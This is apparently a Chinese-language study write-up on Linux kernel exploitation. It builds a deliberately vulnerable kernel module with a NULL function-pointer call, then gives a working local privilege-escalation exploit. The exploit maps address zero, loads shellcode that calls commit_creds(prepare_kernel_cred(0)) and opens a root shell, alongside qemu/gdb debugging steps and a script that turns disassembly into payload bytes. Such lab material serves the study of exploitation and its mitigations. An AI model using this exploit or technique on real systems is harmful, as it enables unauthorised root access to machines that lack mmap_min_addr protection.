linux-kernel expoit study (3)---NULL dereference

write linux kernel exploit 1

前言 -重新配置一下 busybox

之前的busybox 废了,发现出现了意料之外,情理之中的问题。还是太浮躁了,没仔细看参考链接。
重新配置一下 busybox

step 1

1
cd _install

step 2 创建对应的目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ mkdir proc sys dev etc etc/init.d
$ cd etc/init.d
$ vim rcS
$ cat rcS
#!/bin/sh
#!/bin/sh
mount -t proc none /proc
mount -t sys none /sys
/bin/mount -n -t sysfs none /sys
/bin/mount -t ramfs none /dev
/sbin/mdev -s
$ chmod +x rcS
$ find . | cpio -o --format=newc > rootfs.img
$ gzip -c rootfs.img > rootfs.img.gz
$ cp rootfs.img.gz ../../linux-2.6.32.1

解决can’t not open /dev/tty2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cd _install
$ ln -sf null tty2
$ ln -sf null tty3
$ ln -sf null tty4

$ vim etc/init.d/fstab
proc /proc proc defaults 0 0
proc /proc proc defaults 0 0
$ chmod 644 fstab

$ vim etc/init.d/inittab
::sysinit:/etc/init.d/rcS
::askfirst:/bin/sh
$ chmod 644 inittab

qume 启用busybox

cd /tmp
创建一个ext2文件系统镜像用于把joker_test_syscall_lib和对应的busybox打包,其大小应该能容纳整个busybox/_install

1
2
$ dd if=/dev/zero of=my.img bs=30M count=2
$ mkfs.ext2 -N 512 my.img

挂在镜像,并把busybx/_install下的内容拷贝过去

1
2
$ sudo mount -t ext2 my.img /mnt
$ sudo cp -fr _install/* /mnt

卸载镜像
$ sudo umount /mnt

qemu-system-i386 -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda"

NULL dereference

古老的Linux NULL pointer dereference exploit,映射0地址分配shellcode运行

一个简单的demo

漏洞很明显,my_funptr指针是空,在调用虚拟文件系统write_proc时候出现null dereference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ vim null_dereference.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);

int bug1_write(struct file *file,const char *buf,unsigned long len)
{
my_funptr();
return len;
}

static int __init null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!\n");
create_proc_entry("bug1",0666,0)->write_proc = bug1_write;
return 0;
}

static void __exit null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exit\n");
}

module_init(null_dereference_init);
module_exit(null_dereference_exit);

简单的测试

1
2
3
4
5
qemu启动内核,加载相关的busybox
$ qemu-system-i386 -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda"

加载模块
$ insmod null_dereference.ko

在qemu中运行并测试

在本机编译相应的ko、poc和exp,并把ko、poc和exp添加到busybox镜像中,然后gdb与qemu结合调试,其中poc和exp需要静态编译。方法见–在qemu中测试
ko文件的Makefile, KERNELDR目录设置为linux内核源码的根目录即可

1
2
3
4
5
6
7
8
9
obj-m := null_dereference.o  
KERNELDR := ~/linux_kernel/linux-2.6.32.1
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

poc测试

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ vim null_dereference_exp.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "\xe9\xea\xbe\xad\x0b";//jmp 0xbadbeef
int main()
{
mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "0x9k", 4);
return 0;
}
$ gcc -static -o null_dereference_exp null_dereference_exp.c

qemu调试在0地址处下断点

1
2
3
4
5
以调试模式启动qemu
$ qemu-system-i386 -S -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda"

在qemu中按住Ctrl+Alt+2
$ gdbserver tcp::1234


linux 内核目录下

1
2
3
4
5
6
7
在主机中启动gdb,并链接qemu并设置断点
$ gdb vmlinux
gdb-peda$ target remote localhost:1234
gdb-peda$ b *0x0
gdb-peda$ c

在qemu中按住Ctrl+Alt+1切换到运行状态

1
2
运行poc
$ ./poc

然后进入usr目录,挂载驱动后运行poc程序。

exp

1
2
给当前进程赋予root权限
commit_creds(prepare_kernel_cred(0));

实现方法 1 通用获取

K0 师傅告诉我了一个姿势,可以通用提权

1
2
3
4
5
6
7
8
9
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root_payload(void) {
commit_creds(prepare_kernel_cred(0));
}

在内存里找到commit creds和prepare kernel cred 这两个函数地址然后就直接写在一个函数里到漏洞触发的时候,直接引用这个函数地址就可以提权了

但是,我们这里简单的使用方法 2 即可c

实现方法 2 简单的取得commit_creds、prepare_kernel_cred地址

1
2
$ grep commit_creds /proc/kallsyms
$ grep prepare_kernel_cred /proc/kallsyms

设置payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
汇编对应的payload
xor %eax,%eax
call 0xc10680d0
call 0xc1067f30
ret


编译上述汇编
$ gcc -o payload payload.s -nostdlib -Ttext=0

得到payload的机器码
$ objdump -d payload
payload: 文件格式 elf32-i386


Disassembly of section .text:

00000000 <__bss_start-0x100d>:
0: 31 c0 xor %eax,%eax
2: e8 c9 80 06 c1 call c10680d0 <_end+0xc10670c0>
7: e8 24 7f 06 c1 call c1067f30 <_end+0xc1066f20>
c: c3 ret

payload机器码
$ \x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3

最终的exp

我们需要分配0地址空间然后放入shellcode,然后jmp过去执行shellcode,使当前进程有root权限,然后执行一个system(“/bin/sh”);在程序返回用户态之后拿到一个root的shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ vim exp.c
$ cat exp.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3";
int main()
{
mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "wing", 4);
system("/bin/sh");//get root shell
return 0;
}
$ gcc -static -o exp exp.c

测试exp

1
$ ./exp

图中均是#不是$,但是从gdb中可以看到payload已经执行,所以如果是普通用户的话,是可以拿到root shell,当然是在0地址可以mmap情况下。
mmap_min_addr禁止用户映射低地址。

qemu中添加普通用户并测试

使用adduser添加用户

1
adduser wing

read-only file system 解决办法

1
2
注意remount, rw之间需要空格
# mount -o remount, rw /
1
2
3
# adduser wing
adduser : /etc/group: No such file or directory
adduser : /home/wing: No such file or directory

解决办法:touch对应的文件,并建立相关的目录

1
2
3
4
5
6
# touch /etc/group
# touch /etc/passwd
# touch /etc/shadow
# mkdir -p /home/wing
# adduser wing
adduser : use 'wing' in use

切换成对应的普通用户并运行exp,运行过程中出现问题

1
# sysctl -w vm.mmap_min_addr="0"

分析原因(图exp-error-reason)发现是在mmap之后出错 都没走到0地址处,2.6.32内核已经使用mmap_min_addr作为缓解措施mmap_min_addr为4096,需要设置下mmap_min_addr

设置完成之后,重新运行exp即可得到root shell

引用

Joker‘ markdown
【系列分享】Linux 内核漏洞利用教程(二):两个Demo
Setup for linux kernel dev using qemu
linux_kernel_exploit

mmap_min_addr - Debian Wiki

用到的payload转换脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*-coding:utf-8-*-
__author__ = 'joker'

import re

payload = """
0: 31 c0 xor %eax,%eax
2: e8 b9 7f 06 c1 call c1067fc0 <_end+0xc1066f94>
7: e8 14 7e 06 c1 call c1067e20 <_end+0xc1066df4>
c: 81 ec 00 01 00 00 sub $0x100,%esp
12: 50 push %eax
13: 50 push %eax
14: 68 2f 73 68 00 push $0x68732f
19: 68 2f 62 69 6e push $0x6e69622f
1e: 89 e1 mov %esp,%ecx
20: 16 push %ss
21: 51 push %ecx
22: 9c pushf
23: 0e push %cs
24: 68 5c 71 44 c1 push $0xc144715c
29: cf iret"""

pattern = re.compile(" {2,}",re.S)
payload_all = ""
lines = payload.split("\n")[1:]
for line in lines:
text,_= pattern.subn("",line.split("\t")[1])
payload1 = "\\x" + text.replace(" ","\\x")
payload_all += payload1

print payload_all